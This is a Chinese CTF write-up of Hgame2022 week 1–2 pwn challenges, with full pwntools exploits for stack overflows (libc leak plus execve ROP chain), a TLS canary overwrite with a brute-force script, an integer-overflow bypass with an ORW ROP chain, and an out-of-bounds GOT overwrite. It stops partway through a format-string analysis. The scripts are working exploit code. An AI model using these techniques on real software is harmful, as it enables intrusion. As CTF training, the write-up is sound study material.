0%

Hgame2022

Hgame2022

week1

enter_the_pwn_land

循环输入

64位,dynamically,开了NX

栈溢出,数组越位,数据泄露

入侵思路

可以利用“puts”来泄露地址:

1
2
3
4
5
6
7
8
  0x401209 <test_thread+83>    nop    
0x40120a <test_thread+84> lea rax, [rbp - 0x30]
0x40120e <test_thread+88> mov rdi, rax
0x401211 <test_thread+91> call puts@plt <puts@plt>
s: 0x7ffff7d9bec0 ◂— 0xa61616161 /* 'aaaa\n' */
0x401216 <test_thread+96> nop
0x401217 <test_thread+97> leave
0x401218 <test_thread+98> ret
1
2
3
4
5
6
7
8
9
10
11
12
pwndbg> stack 50
00:0000│ rax rdi rsp rsi-4 0x7ffff7d9bec0 ◂— 0xa61616161 /* 'aaaa\n' */
01:00080x7ffff7d9bec8 ◂— 0x0
... ↓ 2 skipped
04:00200x7ffff7d9bee0 —▸ 0x7ffff7d9c700 ◂— 0x7ffff7d9c700
05:00280x7ffff7d9bee8 ◂— 0x400000001
06:0030│ rbp 0x7ffff7d9bef0 ◂— 0x0
07:00380x7ffff7d9bef8 —▸ 0x7ffff7f9b609 (start_thread+217) ◂— mov qword ptr fs:[0x630], rax
08:00400x7ffff7d9bf00 ◂— 0x0
09:00480x7ffff7d9bf08 —▸ 0x7ffff7d9c700 ◂— 0x7ffff7d9c700
0a:00500x7ffff7d9bf10 —▸ 0x7ffff7d9c700 ◂— 0x7ffff7d9c700
0b:00580x7ffff7d9bf18 ◂— 0x97c3fd3d98d89709
1
2
3
4
5
      0x405000           0x426000 rw-p    21000 0      [heap]
0x7ffff759c000 0x7ffff759d000 ---p 1000 0 [anon_7ffff759c]
0x7ffff759d000 0x7ffff7da0000 rw-p 803000 0 [anon_7ffff759d]
0x7ffff7da0000 0x7ffff7dc5000 r--p 25000 0 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7ffff7dc5000 0x7ffff7f3d000 r-xp 178000 25000 /usr/lib/x86_64-linux-gnu/libc-2.31.so

libc基地址为“0x7ffff7da0000”

1
2
In [5]: 0x7ffff7da0000-0x7ffff7d9c700
Out[5]: 14592

可以发现:“0x7ffff7d9c700”和“libc基址”的偏移为常数,输入32个“a”即可泄露该数据

1
2
3
4
p.recvuntil('\n')
leak_addr=u64(p.recvline()[:-1].ljust(8,'\x00'))
leak_addr=hex(leak_addr)+'00'
success('leak_addr >> '+leak_addr)

计算“libc基址”,获取一下必要的“gadgets”:

1
2
3
4
5
6
libc_base=int(leak_addr,16)+14592
execve_libc=libc_base+libc.sym['execve']
system_libc=libc_base+libc.sym['system']
puts_libc=libc_base+libc.sym['puts']
bin_sh_libc=libc_base+libc.search('/bin/sh').next()
one_gadget=libc_base+0xe6c84

最后还有一个坑:

覆盖 “s” 的时候会把 “i” 也覆盖了,这里要注意一下

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import*

p=remote('81.68.133.212',31710)
#p=process('./a.out')
elf=ELF('./a.out')
libc=ELF('./libc-2.31.so')

#gdb.attach(p,"b*0x401211")
payload='a'*32
p.sendline(payload)

p.recvuntil('\n')
leak_addr=u64(p.recvline()[:-1].ljust(8,'\x00'))
leak_addr=hex(leak_addr)+'00'
success('leak_addr >> '+leak_addr)

libc_base=int(leak_addr,16)+14592
execve_libc=libc_base+libc.sym['execve']
system_libc=libc_base+libc.sym['system']
puts_libc=libc_base+libc.sym['puts']
bin_sh_libc=libc_base+libc.search('/bin/sh').next()
one_gadget=libc_base+0xe6c84

success('libc_base >> '+hex(libc_base))
success('execve_libc >> '+hex(execve_libc))
success('bin_sh_libc >> '+hex(bin_sh_libc))
success('one_gadget >> '+hex(one_gadget))

pop_rdi_ret=0x0000000000026b72+libc_base
pop_rsi_ret=0x0000000000027529+libc_base
pop_rdx_rbx_ret=0x0000000000162866+libc_base

success('pop_rdi_ret >> '+hex(pop_rdi_ret))
success('pop_rsi_ret >> '+hex(pop_rsi_ret))
success('pop_rdx_rbx_ret >> '+hex(pop_rdx_rbx_ret))


payload='a'*(0x30-4)+p32(0x30-4)+'b'*0x8
payload+=p64(pop_rdi_ret)+p64(bin_sh_libc)
payload+=p64(pop_rsi_ret)+p64(0)
payload+=p64(pop_rdx_rbx_ret)+p64(0)+p64(0)
payload+=p64(execve_libc)

p.sendline(payload)

#pause()

p.interactive()

enter_the_evil_pwn_land

循环输入

64位,dynamically,开了NX

栈溢出,数组越位,数据泄露

入侵思路

前面的过程和 enter_the_pwn_land 一样,只有最后需要多绕一个canary

这里的 “i” 没有坑了,继续之前的操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
payload='a'*32
p.sendline(payload)

p.recvuntil('\n')
leak_addr=u64(p.recvline()[:-1].ljust(8,b'\x00'))
leak_addr=hex(leak_addr)+'00'
success('leak_addr >> '+leak_addr)

libc_base=int(leak_addr,16)+14592
execve_libc=libc_base+libc.sym['execve']
system_libc=libc_base+libc.sym['system']
puts_libc=libc_base+libc.sym['puts']
bin_sh_libc=libc_base+libc.search('/bin/sh').next()
one_gadget=libc_base+0xe6c84

pop_rdi_ret=0x0000000000026b72+libc_base
pop_rsi_ret=0x0000000000027529+libc_base
pop_rdx_rbx_ret=0x0000000000162866+libc_base

但是这里又有一个问题:

1
2
3
4
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
C\x87j\xb3\xb5T
*** stack smashing detected ***: terminated
[*] Got EOF while reading in interactive

传统的覆盖低字节会导致canary报错,但是在申请新线程的程序中,有一种技术可以绕过canary,覆盖TLS中储存的canary值

先用爆破脚本试试TLS的位置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
padding=0x30
offset=1
while True:
p=process('./a.out')
payload = ''
payload += (padding-8)*'a'
payload += 'aaaaaaaa'
payload += p64(0xdeadbeef)
payload += p64(0)
payload += 'a'*(offset-len(payload))
p.sendline(payload)
temp = p.recvall()

if "stack smashing detected" in temp:
offset += 1
print("offset >> "+hex(offset))
p.close()
else:
print("success !!!")
print("offset >> "+hex(offset))
p.close()
break
p.interactive()

为了节约时间,可以把“offset”的起始值设置得大一点

1
2
success !!!
offset >> 0x870

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
from pwn import*

p=remote('81.68.133.212',39234)
#p=process('./a.out')
elf=ELF('./a.out')
libc=ELF('./libc-2.31.so')

#gdb.attach(p,"b*0x401240")
payload='a'*32
p.sendline(payload)

p.recvuntil('\n')
leak_addr=u64(p.recvline()[:-1].ljust(8,b'\x00'))
leak_addr=hex(leak_addr)+'00'
success('leak_addr >> '+leak_addr)

libc_base=int(leak_addr,16)+14592
execve_libc=libc_base+libc.sym['execve']
system_libc=libc_base+libc.sym['system']
puts_libc=libc_base+libc.sym['puts']
bin_sh_libc=libc_base+libc.search('/bin/sh').next()
one_gadget=libc_base+0xe6c84

success('libc_base >> '+hex(libc_base))
success('execve_libc >> '+hex(execve_libc))
success('bin_sh_libc >> '+hex(bin_sh_libc))
success('one_gadget >> '+hex(one_gadget))

pop_rdi_ret=0x0000000000026b72+libc_base
pop_rsi_ret=0x0000000000027529+libc_base
pop_rdx_rbx_ret=0x0000000000162866+libc_base

success('pop_rdi_ret >> '+hex(pop_rdi_ret))
success('pop_rsi_ret >> '+hex(pop_rsi_ret))
success('pop_rdx_rbx_ret >> '+hex(pop_rdx_rbx_ret))

offset = 0x870
payload='a'*(0x30)+'b'*0x8
payload+=p64(pop_rdi_ret)+p64(bin_sh_libc)
payload+=p64(pop_rsi_ret)+p64(0)
payload+=p64(pop_rdx_rbx_ret)+p64(0)+p64(0)
payload+=p64(execve_libc)
payload=payload.ljust(offset,'a')

p.sendline(payload)

p.interactive()

oldfashion_orw

两次输入

64位,dynamically,开了NX

两次输入,第一次输入“size”,第二次输入“content”

入侵思路

可以利用整数溢出绕过if检查

size_t是标准C库中定义的

  • 在 32 位架构中被普遍定义为:
1
typedef unsigned int size_t;
  • 在 64 位架构中被定义为:
1
typedef unsigned long size_t;

C 库函数 int atoi(const char *str) 把参数 str 所指向的字符串转换为一个整数(类型为 int 型)

1
int atoi(const char *str)

所以“nbytes”是“int”类型的

C语言中int的取值范围是:“-2147483648 ~ 2147483647”

1
2
3
num=2147483647+1
payload=str(num)
p.sendafter("size?\n",payload)

绕过了检查,程序开始沙盒,获取不了shell:

但是它给了一个文件:

1
2
3
4
5
6
7
#!/bin/bash

rm /home/ctf/flag*
cp /flag "/home/ctf/flag`head /dev/urandom |cksum |md5sum |cut -c 1-20`"
cd /home/ctf
exec 2>/dev/null
/usr/sbin/chroot --userspec=1000:1000 /home/ctf timeout 300 ./vuln

这里给了我们一个提示,虽然不能“get shell”但是可以打“ORW”

程序还差一个“open”函数,可以在libc中找

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
def csu(rbx, rbp, r12, r13, r14, r15, last):
#csu(rbx, rbp, rdi, rsi, rdx, got, last)
payload = 'a'*0x30+'b'*0x8
payload += p64(csu_end_addr)
payload += p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
payload += p64(csu_front_addr)
payload += b'a' * 0x38
payload += p64(last)
p.send(payload)
sleep(1)

csu(0, 1, 1, write_got, 0x8, write_got, main_addr)
p.recvuntil('done!\n')
write_libc=u64(p.recvuntil('size?')[-13:-5])
libc_base=write_libc-write_sym
success('libc_base >> '+hex(libc_base))

open_libc=libc_base+libc.sym['open']
success('open_libc >> '+hex(open_libc))

泄露了“libc_base”,接下来就是利用ROP链进行ORW,在此之前需要找到“syscall;ret”

这里值得注意:通常的ROPgadget不能成功找到“syscall;ret”,需要借助“opcode”

1
2
3
4
5
6
Python 2.7.18 (default, Mar  8 2021, 13:02:45) 
[GCC 9.3.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> from pwn import*
>>> asm("syscall;ret").encode('hex')
'0f05c3'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
➜  [/home/ywhkkx/桌面] ROPgadget --binary libc-2.31.so --opcode 0f05c3     
Opcodes information
============================================================
0x0000000000066229 : 0f05c3
0x00000000000870ec : 0f05c3
0x00000000000941a4 : 0f05c3
0x0000000000096aac : 0f05c3
0x0000000000097e29 : 0f05c3
0x00000000000e7249 : 0f05c3
0x00000000000e7259 : 0f05c3
0x00000000000e7269 : 0f05c3
0x00000000000e7279 : 0f05c3
0x00000000000e7289 : 0f05c3
0x00000000000e7299 : 0f05c3

在打ORW之前,需要先获取“flag”文件的文件名称:(flag文件名后面跟了一个随机数)

  • 利用“getdents64(3, bss_addr + 0x200, 0x600) ”:获取当前目录到“bss_addr + 0x200”
  • 利用“write(1, bss_addr + 0x200, 0x600)”:把“bss_addr + 0x200”存储的目录打印出来
  • 因为目标文件以“flag”开头,所以接收flag并把它读到“bss段”中

最后就可以打ORW了

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
# -*- coding:utf-8 -*-
from pwn import*
import time

p=process('./vuln')
#p=remote('81.68.133.212',43917)
context(log_level='debug',arch='amd64',os='linux')
elf=ELF('./vuln')
libc=ELF('./libc-2.31.so')

num=2147483647+1
payload_s=str(num)
p.sendlineafter("size?\n",payload_s)

main_addr=0x000000000401311
bss_addr=0x000000000404040+0x100

read_got=elf.got['read']
write_got=elf.got['write']
prctl_got=elf.got['prctl']
write_sym=libc.sym['write']

csu_front_addr=0x401420
csu_end_addr=0x40143A

def csu(rbx, rbp, r12, r13, r14, r15, last):
#csu(rbx, rbp, rdi, rsi, rdx, got, last)
payload = b'a'*0x30+b'b'*0x8
payload += p64(csu_end_addr)
payload += p64(rbx)+p64(rbp)+p64(r12)+p64(r13)+p64(r14)+p64(r15)
payload += p64(csu_front_addr)
payload += b'a' * 0x38
payload += p64(last)
p.send(payload)
sleep(1)

csu(0, 1, 1, write_got, 0x8, write_got, main_addr)

p.recvuntil('done!\n')
write_libc=u64(p.recvuntil('size?')[-13:-5])
libc_base=write_libc-write_sym
open_libc=libc_base+libc.sym['open']
read_libc=libc_base+libc.sym['read']
write_libc=libc_base+libc.sym['write']

success('libc_base >> '+hex(libc_base))
success('open_libc >> '+hex(open_libc))
success('read_libc >> '+hex(read_libc))
success('write_libc >> '+hex(write_libc))

leave_ret=0x0000000004013DB
ret=0x000000000040101a
pop_rdi_ret=0x0000000000026b72+libc_base
pop_rsi_ret=0x0000000000027529+libc_base
pop_rdx_r12_ret=0x0000000000162866+libc_base
pop_rax_ret=0x000000000004a550+libc_base
syscall_ret=0x000000000013d63b+libc_base

payload = 'a' * 0x30 + 'b' * 0x8
# read(0, bss_addr, 2)
payload += p64(pop_rdi_ret)+p64(0)
payload += p64(pop_rsi_ret)+p64(bss_addr)
payload += p64(pop_rdx_r12_ret)+p64(2)+p64(0)
payload += p64(elf.sym['read'])
# open(".")
payload += p64(pop_rax_ret)+p64(2)
payload += p64(pop_rdi_ret)+p64(bss_addr)
payload += p64(pop_rsi_ret)+p64(0)
payload += p64(pop_rdx_r12_ret)+p64(0)+p64(0)
payload += p64(syscall_ret)
# getdents64(3, bss_addr + 0x200, 0x600)
payload += p64(pop_rax_ret)+p64(217) # getdents64
payload += p64(pop_rdi_ret)+p64(3)
payload += p64(pop_rsi_ret)+p64(bss_addr + 0x200)
payload += p64(pop_rdx_r12_ret)+p64(0x600)+p64(0)
payload += p64(syscall_ret)
# write(1, bss_addr + 0x200, 0x600)
payload += p64(pop_rax_ret)+p64(1)
payload += p64(pop_rdi_ret)+p64(1)
payload += p64(pop_rsi_ret)+p64(bss_addr + 0x200)
payload += p64(pop_rdx_r12_ret)+p64(0x600)+p64(0)
payload += p64(syscall_ret)
# read(0, bss_addr, 0x30)
payload += p64(pop_rax_ret)+p64(0)
payload += p64(pop_rdi_ret)+p64(0)
payload += p64(pop_rsi_ret)+p64(bss_addr)
payload += p64(pop_rdx_r12_ret)+p64(0x30)+p64(0)
payload += p64(syscall_ret)
# basic orw
payload += p64(pop_rax_ret)+p64(2)
payload += p64(pop_rdi_ret)+p64(bss_addr)
payload += p64(pop_rsi_ret)+p64(0)
payload += p64(pop_rdx_r12_ret)+p64(0)+p64(0)
payload += p64(syscall_ret)
payload += p64(pop_rax_ret)+p64(0)
payload += p64(pop_rdi_ret)+p64(4)
payload += p64(pop_rsi_ret)+p64(bss_addr)
payload += p64(pop_rdx_r12_ret)+p64(0x60)+p64(0)
payload += p64(syscall_ret)
payload += p64(pop_rax_ret)+p64(1)
payload += p64(pop_rdi_ret)+p64(1)
payload += p64(pop_rsi_ret)+p64(bss_addr)
payload += p64(pop_rdx_r12_ret)+p64(0x60)+p64(0)
payload += p64(syscall_ret)

p.sendline(payload_s)
p.sendline(payload)
p.send('.\x00') # read(0, bss_addr, 2) >> open(".")
time.sleep(1)
p.recvuntil('flag') # read(0, bss_addr, 0x30) >> open('xxxx'+flag_s,0)
md5=p.recv(20)
flag='./flag'+md5
p.send(flag)

p.interactive()

ser_per_fa

64位,dynamically,全开

程序给了源码的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
// g++ spfa.cc -o spfa
#include <stdio.h>
#include <stdlib.h>
#include <queue>
#include <string.h>

#define NODES 210
#define EDGES 610

struct EDGE
{
long long nxt, to, dis;
} edge[EDGES];

long long n, m, w, a, b, num_edge, t;
long long head[NODES], vis[NODES], dist[NODES], cnt[NODES];

void _add(long long from, long long to, long long dis)
{
edge[++num_edge].to = to;
edge[num_edge].dis = dis;
edge[num_edge].nxt = head[from];
head[from] = num_edge;
}

void spfa(long long s)
{
std::queue<int> q;
q.push(s);
dist[s] = 0;
vis[s] = 1;
while (!q.empty())
{
long long u = q.front();
q.pop();
vis[u] = 0;
for (long long i = head[u]; i; i = edge[i].nxt)
{
long long v = edge[i].to;
if (dist[v] > dist[u] + edge[i].dis)
{
dist[v] = dist[u] + edge[i].dis;
if (vis[v] == 0)
{
vis[v] = 1;
q.push(v);
}
}
}
}
}

void backd00r()
{
system("/bin/sh");
}

void init_io()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}

int main()
{
long long t;

init_io();

printf("how many datas?\n>> ");
scanf("%lld", &t);
while (t--)
{
memset(vis, 0, sizeof(vis));
memset(dist, 0, sizeof(dist));
memset(cnt, 0, sizeof(cnt));
memset(head, 0, sizeof(head));
memset(dist, 127 / 3, sizeof(dist));
printf("how many nodes?\n>> ");
scanf("%lld", &n);
printf("how many edges?\n>> ");
scanf("%lld", &m);
printf("input edges in the\n[from] [to] [distant]\nformat\n");
for (long long i = 0; i < m; i++)
{
scanf("%lld%lld%lld", &a, &b, &w);
_add(a, b, w);
}

printf("you want to start from which node?\n>> ");
long long x;
scanf("%lld", &x);

spfa(x);

printf("calc done!\nwhich path you are interested %lld to ?\n>> ", x);
scanf("%lld", &x);
printf("the length of the shortest path is %lld\n", dist[x]);
}
return 0;
}

SPFA 算法:

从图中的某个顶点出发到达另外一个顶点的所经过的边的权重和最小的一条路径,称为最短路径

初始化阶段程序提供了3次输入:“data”,“nodes”,“edges”

分别为:数据数量,结点数量,权边数量

接着以“[from] [to] [distant]”的形式输入:“a”,“b”,“w”,进入函数“add”

输入“start”,进入函数“spfa”完成计算,最后输入任意值查看计算结果

入侵思路

首先程序有backdoor:(偏移地址为:0x16A5)

为了可以使用backdoor,需要栈溢出并且泄露“pro_base”

这里可以泄露“pro_base”:输入的“start”可以超过“dist”的范围(数组越位)

1
2
3
4
pwndbg> search -s *********************
[anon_55b6cc9c0] 0x55b6cc9c3730 0x2a2a2a2a2a2a2a2a ('********')
[anon_55b6cc9c0] 0x55b6cc9c3745 0x2a2a2a2a2a2a2a2a ('********')
[anon_55b6cc9c0] 0x55b6cc9c375a 0x2a2a2a2a2a2a2a2a ('********')
1
2
3
4
pwndbg> x/20xg 0x55b6cc9c3730-16
0x55b6cc9c3720 <dist>: 0x2a2a2a2a2a2a2a2a 0x0000000000000000
0x55b6cc9c3730 <dist+16>: 0x2a2a2a2a2a2a2a2a 0x2a2a2a2a2a2a2a2a
0x55b6cc9c3740 <dist+32>: 0x2a2a2a2a2a2a2a2a 0x2a2a2a2a2a2a2a2a

看看“dist”的上下都有什么:(“pro_base”和“libc_base”都可以获取了)

1
2
3
4
5
6
7
8
9
10
pwndbg> 
0x55b6cc9bef80 <system@got.plt>: 0x00007fc38ddcc410 0x00007fc38e02cd70
0x55b6cc9bef90 <_Znwm@got.plt>: 0x00007fc38e02eb20 0x00007fc38dea9b00
0x55b6cc9befa0 <__isoc99_scanf@got.plt>: 0x00007fc38dddd230 0x00007fc38de05c50 # target
0x55b6cc9befb0 <__cxa_rethrow@got.plt>: 0x00007fc38e02e6b0 0x00007fc38ddfe5a0
0x55b6cc9befc0 <memmove@got.plt>: 0x00007fc38df05670 0x00007fc38e02d3f0
0x55b6cc9befd0 <_Unwind_Resume@got.plt>: 0x00007fc38df7a480 0x00007fc38ddc1090
0x55b6cc9befe0: 0x0000000000000000 0x00007fc38dd9dfc0
0x55b6cc9beff0: 0x0000000000000000 0x0000000000000000
0x55b6cc9bf000: 0x0000000000000000 0x000055b6cc9bf008 # target
1
2
3
4
5
In [11]: 0x55b6cc9bf000+0x8-0x55b6cc9c3720
Out[11]: -18200

In [12]: 18200//8
Out[12]: 2275

计算“pro_base”:

1
2
3
4
5
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x55b6cc9b8000 0x55b6cc9b9000 r--p 1000 0 /home/ywhkkx/桌面/spfa
0x55b6cc9b9000 0x55b6cc9bc000 r-xp 3000 1000 /home/ywhkkx/桌面/spfa
0x55b6cc9bc000 0x55b6cc9be000 r--p 2000 4000 /home/ywhkkx/桌面/spfa
1
2
3
4
5
In [15]: 0x000055b6cc9bf008-0x55b6cc9b8000
Out[15]: 28680

In [16]: hex(28680)
Out[16]: '0x7008'

用同样的方法可以获取“libc_base”:

1
2
3
4
pwndbg> x/20xg 0x557a3add5720
0x557a3add5720 <dist>: 0x2a2a2a2a2a2a2a2a 0x2a2a2a2a2a2a2a2a
0x557a3add5730 <dist+16>: 0x2a2a2a2a2a2a2a2a 0x2a2a2a2a2a2a2a2a
0x557a3add5740 <dist+32>: 0x2a2a2a2a2a2a2a2a 0x2a2a2a2a2a2a2a2a
1
2
3
4
5
pwndbg> telescope 0x557a3add0fa0
00:00000x557a3add0fa0 (__isoc99_scanf@got.plt) —▸ 0x7efc1a7ee230 (__isoc99_scanf) ◂— endbr64 // target
01:00080x557a3add0fa8 (setbuf@got.plt) —▸ 0x7efc1a816c50 (setbuf) ◂— endbr64
02:00100x557a3add0fb0 (__cxa_rethrow@got.plt) —▸ 0x7efc1aa3f6b0 (__cxa_rethrow) ◂— endbr64
03:00180x557a3add0fb8 (puts@got.plt) —▸ 0x7efc1a80f5a0 (puts) ◂— endbr64
1
2
3
4
0x7efc1a788000     0x7efc1a7ad000 r--p    25000 0      /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7efc1a7ad000 0x7efc1a925000 r-xp 178000 25000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7efc1a925000 0x7efc1a96f000 r--p 4a000 19d000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x7efc1a96f000 0x7efc1a970000 ---p 1000 1e7000 /usr/lib/x86_64-linux-gnu/libc-2.31.so
1
2
3
4
5
In [21]: (0x557a3add0fa0-0x557a3add5720)//8
Out[21]: -2288

In [23]: hex(0x7efc1a788000-0x7efc1a7ee230)
Out[23]: '-0x66230'

获取了“libc_base”和“pro_base”,接下来就要考虑怎么执行 backdoor

spfa 结束后:返回地址就会被写成该边的 distant 字段的值

输入“a”,“b”,“w”后,三者在 spfa 中进行计算:“b”(“to”)中会被写入“w”(“distant ”)

所以只要把“b”写为“strlen_libc_got”,把“w”写为“backdoor”就好了

完整exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import*

p=process('./spfa')
elf=ELF('./spfa')
libc=ELF('./libc-2.31.so')
context(log_level='debug')

#gdb.attach(p)

p.sendlineafter('how many datas?\n','4')
p.sendlineafter('how many nodes?\n','1')
p.sendlineafter('how many edges?\n','1')
p.sendlineafter('format\n','1 1 1')
p.sendlineafter('you want to start from which node?\n','1')
p.sendlineafter('which path you are interested','-2275')

p.recvuntil('the length of the shortest path is ')
leak_addr=eval(p.recvuntil('\n')[:-1])
pro_base=leak_addr-0x7008
success('leak_addr >> '+hex(leak_addr))
success('pro_base >> '+hex(pro_base))

p.sendlineafter('how many nodes?\n','1')
p.sendlineafter('how many edges?\n','1')
p.sendlineafter('format\n','1 1 1')
p.sendlineafter('you want to start from which node?\n','1')
p.sendlineafter('which path you are interested','-2288')

p.recvuntil('the length of the shortest path is ')
leak_addr=eval(p.recvuntil('\n')[:-1])
libc_base=leak_addr-0x66230
success('leak_addr >> '+hex(leak_addr))
success('libc_base >> '+hex(libc_base))

strlen_libc_got = libc_base + 0x1EB0A8
dist_addr = pro_base + 0xb720
backdoor = pro_base + 0x16A5

p.recvuntil('how many nodes?\n>> ')
p.sendline('1')
p.recvuntil('how many edges?\n>> ')
p.sendline('1')
p.recvuntil('format\n')
p.sendline('1')
p.sendline(str((strlen_libc_got - dist_addr) // 8))
p.sendline(str(backdoor))

p.recvuntil('you want to start from which node?\n>> ')
p.sendline('1')
p.recvuntil('>> ')
p.sendline('1')

#pause()

p.interactive()

week2

echo_server

64位,dynamically,开了NX,开了PIE,Full RELRO

程序有明显的栈溢出,还有格式化漏洞

1
2
3
void realloc(void *ptr,size_t new_size); 
//ptr:指向原来地址的指针
//new_size:新的大小(当它为‘0’时,程序执行free)

这个函数用于修改一个原先已经分配内存块的大小

入侵思路

先用格式化漏洞泄露必要数据:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
pwndbg> stack 50
00:0000│ rsp 0x7fffffffdd50 —▸ 0x7fffffffdd70 —▸ 0x7fffffffdd80 ◂— 0x0
01:00080x7fffffffdd58 ◂— 0x58555550e0
02:00100x7fffffffdd60 —▸ 0x5555555592a0 ◂— '-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p\n'
03:00180x7fffffffdd68 ◂— 0xc441dc61c3e26500
04:0020│ rbp 0x7fffffffdd70 —▸ 0x7fffffffdd80 ◂— 0x0
05:00280x7fffffffdd78 —▸ 0x5555555552c2 (main+28) ◂— mov eax, 0
06:00300x7fffffffdd80 ◂— 0x0
07:00380x7fffffffdd88 —▸ 0x7ffff7dea0b3 (__libc_start_main+243) ◂— mov edi, eax
08:00400x7fffffffdd90 —▸ 0x7ffff7ffc620 (_rtld_global_ro) ◂— 0x50d1300000000
09:00480x7fffffffdd98 —▸ 0x7fffffffde78 —▸ 0x7fffffffe1dd ◂— 0x77792f656d6f682f ('/home/yw')
0a:00500x7fffffffdda0 ◂— 0x100000000
0b:00580x7fffffffdda8 —▸ 0x5555555552a6 (main) ◂— endbr64
0c:00600x7fffffffddb0 —▸ 0x5555555552d0 (__libc_csu_init) ◂— endbr64
0d:00680x7fffffffddb8 ◂— 0x6724cc2cd88f2e17
0e:00700x7fffffffddc0 —▸ 0x5555555550e0 (_start) ◂— endbr64
0f:00780x7fffffffddc8 —▸ 0x7fffffffde70 ◂— 0x1
10:00800x7fffffffddd0 ◂— 0x0
11:00880x7fffffffddd8 ◂— 0x0
12:00900x7fffffffdde0 ◂— 0x98db33d363af2e17
13:00980x7fffffffdde8 ◂— 0x98db239198412e17
14:00a0│ 0x7fffffffddf0 ◂— 0x0
... ↓ 2 skipped
17:00b8│ 0x7fffffffde08 ◂— 0x1
18:00c0│ 0x7fffffffde10 —▸ 0x7fffffffde78 —▸ 0x7fffffffe1dd ◂— 0x77792f656d6f682f ('/home/yw')
1
2
pwndbg> n
-0x5555555592a0-0x58-0x7ffff7ed4142-0x5555555592a0-0x7ffff7dca548-0x7fffffffdd70-0x58555550e0-0x5555555592a0-0xc441dc61c3e26500-0x7fffffffdd80-0x5555555552c2-(nil)-0x7ffff7dea0b3-0x7ffff7ffc620-0x7fffffffde78

泄露数据包括“0x5555555592a0”和“0x58”,用search搜索:

1
2
3
4
5
6
pwndbg> search -t qword 0x5555555592a0
[stack] 0x7fffffffaff0 0x5555555592a0
[stack] 0x7fffffffd6d8 0x5555555592a0
[stack] 0x7fffffffdc98 0x5555555592a0
[stack] 0x7fffffffdcb0 0x5555555592a0
[stack] 0x7fffffffdd60 0x5555555592a0
1
2
3
4
pwndbg> x/20xg 0x7fffffffdc98
0x7fffffffdc98: 0x00005555555592a0 0x0000000000000058
0x7fffffffdca8: 0x00007ffff7ed4142 0x00005555555592a0
0x7fffffffdcb8: 0x00007ffff7dca548 0x0000000000000000

基本确定了格式化参数的位置:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
pwndbg> telescope 0x7fffffffdc98
00:00000x7fffffffdc98 —▸ 0x5555555592a0 ◂— '-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p\n'
01:00080x7fffffffdca0 ◂— 0x58 /* 'X' */
02:00100x7fffffffdca8 —▸ 0x7ffff7ed4142 (read+18) ◂— cmp rax, -0x1000 /* 'H=' */
03:00180x7fffffffdcb0 —▸ 0x5555555592a0 ◂— '-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p-%p\n'
04:00200x7fffffffdcb8 —▸ 0x7ffff7dca548 ◂— 0x0
05:00280x7fffffffdcc0 ◂— 0x0
... ↓ 2 skipped
08:00400x7fffffffdcd8 ◂— 0x770000007c /* '|' */
09:00480x7fffffffdce0 ◂— 0x5b0000006e /* 'n' */
0a:00500x7fffffffdce8 ◂— 0x4
0b:00580x7fffffffdcf0 —▸ 0x7ffff7faeb80 (main_arena) ◂— 0x0
0c:00600x7fffffffdcf8 ◂— 0x4
0d:00680x7fffffffdd00 ◂— 0x58 /* 'X' */
0e:00700x7fffffffdd08 ◂— 0xffffffffffffffb0
0f:00780x7fffffffdd10 —▸ 0x7fffffffde70 ◂— 0x1
10:00800x7fffffffdd18 ◂— 0x0
11:00880x7fffffffdd20 ◂— 0x0
12:00900x7fffffffdd28 —▸ 0x7ffff7e602d4 (malloc+116) ◂— mov r8, rax
13:00980x7fffffffdd30 —▸ 0x5555555552d0 (__libc_csu_init) ◂— endbr64
14:00a0│ 0x7fffffffdd38 —▸ 0x7fffffffdd70 —▸ 0x7fffffffdd80 ◂— 0x0
15:00a8│ 0x7fffffffdd40 —▸ 0x5555555550e0 (_start) ◂— endbr64
